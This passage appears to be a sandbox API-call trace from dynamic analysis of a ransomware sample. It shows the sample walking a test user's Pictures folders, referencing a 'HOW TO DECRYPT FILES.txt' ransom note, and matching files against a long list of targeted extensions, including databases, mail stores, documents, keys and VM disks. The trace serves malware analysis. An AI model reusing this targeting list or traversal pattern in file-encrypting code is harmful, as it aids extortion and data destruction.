HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\how to decrypt files.txt")) returned 0x20 [0090.948] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="F7cGZVL0.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif" [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.ems") returned 0 [0090.948] lstrlenA (lpString="*.ems") returned 5 [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.db") returned 0 [0090.948] lstrlenA (lpString="*.db") returned 4 [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.dbf") returned 0 [0090.948] lstrlenA (lpString="*.dbf") returned 5 [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.myox") returned 0 [0090.948] lstrlenA (lpString="*.myox") returned 6 [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.myo") returned 0 [0090.948] lstrlenA (lpString="*.myo") returned 5 [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qbw") returned 0 [0090.948] lstrlenA (lpString="*.qbw") returned 5 [0090.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qbb") returned 0 [0090.949] lstrlenA (lpString="*.qbb") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qbm") returned 0 [0090.949] lstrlenA (lpString="*.qbm") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qbo") returned 0 [0090.949] lstrlenA (lpString="*.qbo") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qbx") returned 0 [0090.949] lstrlenA (lpString="*.qbx") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qba") returned 0 [0090.949] lstrlenA (lpString="*.qba") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qby") returned 0 [0090.949] lstrlenA (lpString="*.qby") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qbj") returned 0 [0090.949] lstrlenA (lpString="*.qbj") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.ofx") returned 0 [0090.949] lstrlenA (lpString="*.ofx") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.qif") returned 0 [0090.949] lstrlenA (lpString="*.qif") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mye") returned 0 [0090.949] lstrlenA (lpString="*.mye") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mbox") returned 0 [0090.949] lstrlenA (lpString="*.mbox") returned 6 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.eml") returned 0 [0090.949] lstrlenA (lpString="*.eml") returned 5 [0090.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.pst") returned 0 [0090.949] lstrlenA (lpString="*.pst") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.ost") returned 0 [0090.950] lstrlenA (lpString="*.ost") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.idx") returned 0 [0090.950] lstrlenA (lpString="*.idx") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.dbx") returned 0 [0090.950] lstrlenA (lpString="*.dbx") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.sql") returned 0 [0090.950] lstrlenA (lpString="*.sql") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mdb") returned 0 [0090.950] lstrlenA (lpString="*.mdb") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.fdb") returned 0 [0090.950] lstrlenA (lpString="*.fdb") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.wab") returned 0 [0090.950] lstrlenA (lpString="*.wab") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.dat") returned 0 [0090.950] lstrlenA (lpString="*.dat") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.txt") returned 0 [0090.950] lstrlenA (lpString="*.txt") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.jpeg") returned 0 [0090.950] lstrlenA (lpString="*.jpeg") returned 6 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.jpg") returned 0 [0090.950] lstrlenA (lpString="*.jpg") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.png") returned 0 [0090.950] lstrlenA (lpString="*.png") returned 5 [0090.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.php") returned 0 [0090.951] lstrlenA (lpString="*.php") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.cs") returned 0 [0090.951] lstrlenA (lpString="*.cs") returned 4 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.cpp") returned 0 [0090.951] lstrlenA (lpString="*.cpp") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.rar") returned 0 [0090.951] lstrlenA (lpString="*.rar") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.zip") returned 0 [0090.951] lstrlenA (lpString="*.zip") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.html") returned 0 [0090.951] lstrlenA (lpString="*.html") returned 6 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.htm") returned 0 [0090.951] lstrlenA (lpString="*.htm") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.xlsx") returned 0 [0090.951] lstrlenA (lpString="*.xlsx") returned 6 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.xls") returned 0 [0090.951] lstrlenA (lpString="*.xls") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mp4") returned 0 [0090.951] lstrlenA (lpString="*.mp4") returned 5 [0090.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.ppt") returned 0 [0090.951] lstrlenA (lpString="*.ppt") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.pptx") returned 0 [0090.952] lstrlenA (lpString="*.pptx") returned 6 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.doc") returned 0 [0090.952] lstrlenA (lpString="*.doc") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.dot") returned 0 [0090.952] lstrlenA (lpString="*.dot") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.docx") returned 0 [0090.952] lstrlenA (lpString="*.docx") returned 6 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.7z") returned 0 [0090.952] lstrlenA (lpString="*.7z") returned 4 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.tar") returned 0 [0090.952] lstrlenA (lpString="*.tar") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.bz2") returned 0 [0090.952] lstrlenA (lpString="*.bz2") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.gz") returned 0 [0090.952] lstrlenA (lpString="*.gz") returned 4 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mkv") returned 0 [0090.952] lstrlenA (lpString="*.mkv") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.eml") returned 0 [0090.952] lstrlenA (lpString="*.eml") returned 5 [0090.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.msg") returned 0 [0090.952] lstrlenA (lpString="*.msg") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.edb") returned 0 [0090.953] lstrlenA (lpString="*.edb") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.accdb") returned 0 [0090.953] lstrlenA (lpString="*.accdb") returned 7 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.odb") returned 0 [0090.953] lstrlenA (lpString="*.odb") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.java") returned 0 [0090.953] lstrlenA (lpString="*.java") returned 6 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.asm") returned 0 [0090.953] lstrlenA (lpString="*.asm") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.pfx") returned 0 [0090.953] lstrlenA (lpString="*.pfx") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.pem") returned 0 [0090.953] lstrlenA (lpString="*.pem") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.p12") returned 0 [0090.953] lstrlenA (lpString="*.p12") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.gpg") returned 0 [0090.953] lstrlenA (lpString="*.gpg") returned 5 [0090.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.vsd") returned 0 [0090.954] lstrlenA (lpString="*.vsd") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.odg") returned 0 [0090.954] lstrlenA (lpString="*.odg") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.raw") returned 0 [0090.954] lstrlenA (lpString="*.raw") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.nef") returned 0 [0090.954] lstrlenA (lpString="*.nef") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.svg") returned 0 [0090.954] lstrlenA (lpString="*.svg") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.psd") returned 0 [0090.954] lstrlenA (lpString="*.psd") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.vmx") returned 0 [0090.954] lstrlenA (lpString="*.vmx") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.vmdk") returned 0 [0090.954] lstrlenA (lpString="*.vmdk") returned 6 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.vdi") returned 0 [0090.954] lstrlenA (lpString="*.vdi") returned 5 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.lay6") returned 0 [0090.954] lstrlenA (lpString="*.lay6") returned 6 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mpeg") returned 0 [0090.954] lstrlenA (lpString="*.mpeg") returned 6 [0090.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.djvu") returned 0 [0090.955] lstrlenA (lpString="*.djvu") returned 6 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.tiff") returned 0 [0090.955] lstrlenA (lpString="*.tiff") returned 6 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.backup") returned 0 [0090.955] lstrlenA (lpString="*.backup") returned 8 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.pdf") returned 0 [0090.955] lstrlenA (lpString="*.pdf") returned 5 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.cert") returned 0 [0090.955] lstrlenA (lpString="*.cert") returned 6 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.docm") returned 0 [0090.955] lstrlenA (lpString="*.docm") returned 6 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.xlsm") returned 0 [0090.955] lstrlenA (lpString="*.xlsm") returned 6 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.dwg") returned 0 [0090.955] lstrlenA (lpString="*.dwg") returned 5 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.nd") returned 0 [0090.955] lstrlenA (lpString="*.nd") returned 4 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.tlg") returned 0 [0090.955] lstrlenA (lpString="*.tlg") returned 5 [0090.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.lgb") returned 0 [0090.956] lstrlenA (lpString="*.lgb") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mov") returned 0 [0090.956] lstrlenA (lpString="*.mov") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.xdw") returned 0 [0090.956] lstrlenA (lpString="*.xdw") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.ods") returned 0 [0090.956] lstrlenA (lpString="*.ods") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.wav") returned 0 [0090.956] lstrlenA (lpString="*.wav") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.mp3") returned 0 [0090.956] lstrlenA (lpString="*.mp3") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.aiff") returned 0 [0090.956] lstrlenA (lpString="*.aiff") returned 6 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.flac") returned 0 [0090.956] lstrlenA (lpString="*.flac") returned 6 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.m4a") returned 0 [0090.956] lstrlenA (lpString="*.m4a") returned 5 [0090.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif", pszSpec="*.csv") returned 0 [0090.956] lstrlenA (lpString="*.csv") returned 5 [0090.956] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791e8e0, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0xa03b0dc0, ftLastAccessTime.dwHighDateTime=0x1d5dd29, ftLastWriteTime.dwLowDateTime=0xa03b0dc0, ftLastWriteTime.dwHighDateTime=0x1d5dd29, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440020, dwReserved1=0x430045, cFileName="PcO9VDlM9", cAlternateFileName="PCO9VD~1")) returned 1 [0090.957] lstrcmpA (lpString1=".", lpString2="PcO9VDlM9") returned -1 [0090.957] lstrcmpA (lpString1="..", lpString2="PcO9VDlM9") returned -1 [0090.957] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\F7cGZVL0.gif") returned="F7cGZVL0.gif" [0090.957] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="PcO9VDlM9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9") returned="C:\\Users\\5p5NrGJn0jS 